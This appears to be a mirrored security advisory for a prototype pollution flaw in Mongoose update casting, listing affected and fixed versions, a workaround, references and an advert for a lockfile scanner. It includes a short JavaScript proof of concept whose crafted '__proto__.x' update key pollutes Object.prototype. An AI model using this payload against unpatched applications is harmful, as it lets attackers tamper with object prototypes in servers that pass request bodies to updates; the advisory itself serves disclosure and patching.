Mongoose: Prototype pollution in mongoose update casting via __proto__-prefixed dotted path (Schema._getSchema/path getter)
Published 24 Jul 2026 · Updated 19 Aug 2026
Affected packages
- Affected
- <6.13.10
- Fixed in
- 6.13.10
npm install mongoose@6.13.10- Affected
- >=7.0.0 <7.8.10
- Fixed in
- 7.8.10
npm install mongoose@7.8.10- Affected
- >=8.0.0 <8.24.1
- Fixed in
- 8.24.1
npm install mongoose@8.24.1- Affected
- >=9.0.0 <9.7.2
- Fixed in
- 9.7.2
npm install mongoose@9.7.2Details
Impact
_What kind of vulnerability is it? Who is impacted?_
Prototype pollution in update casting: passing a user-controlled update to a Mongoose update, like MyModel.updateOne(filter, req.body), can cause Mongoose to set $fullPath and $parentSchemaDocArray on Object.prototype.
Example:
const mongoose = require('mongoose');
console.log('before:', Object.prototype.$fullPath); // undefined
const User = mongoose.model('User', new mongoose.Schema({ name: String }));
const malicious = JSON.parse('{"$set": {"__proto__.x": "anything"}}'); // attacker-controlled update
const q = User.updateOne({}, {});
try { q._castUpdate(malicious); } catch (e) { /* throws AFTER the pollution side-effect */ }
console.log('after :', Object.prototype.$fullPath); // "__proto__"
console.log('enumerable:', Object.prototype.propertyIsEnumerable('$fullPath')); // true
console.log('fresh {}:', ({}).$fullPath); // "__proto__"Patches
_Has the problem been patched? What versions should users upgrade to?_
9.7.2, 8.24.1. 7.8.10, 6.13.10
Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
Check user-controlled updates for own __proto__ properties before passing to Mongoose
References
_Are there any links users can visit to find out more?_
Is GHSA-664h-wqgq-64gw in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected mongoose, and gives you the command that fixes it.
References
- Linkgithub.com/Automattic/mongoose/security/advisories/GHSA-664h-wqgq-64gw
- Linkgithub.com/Automattic/mongoose/pull/16230
- Linkgithub.com/Automattic/mongoose/commit/f494b8430f9097fc70446d6949c8a42a27518e0b
- Packagegithub.com/Automattic/mongoose
- Linkgithub.com/Automattic/mongoose/releases/tag/6.13.10
- Linkgithub.com/Automattic/mongoose/releases/tag/7.8.10
- Linkgithub.com/Automattic/mongoose/releases/tag/8.24.1
- Linkgithub.com/Automattic/mongoose/releases/tag/9.7.2
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.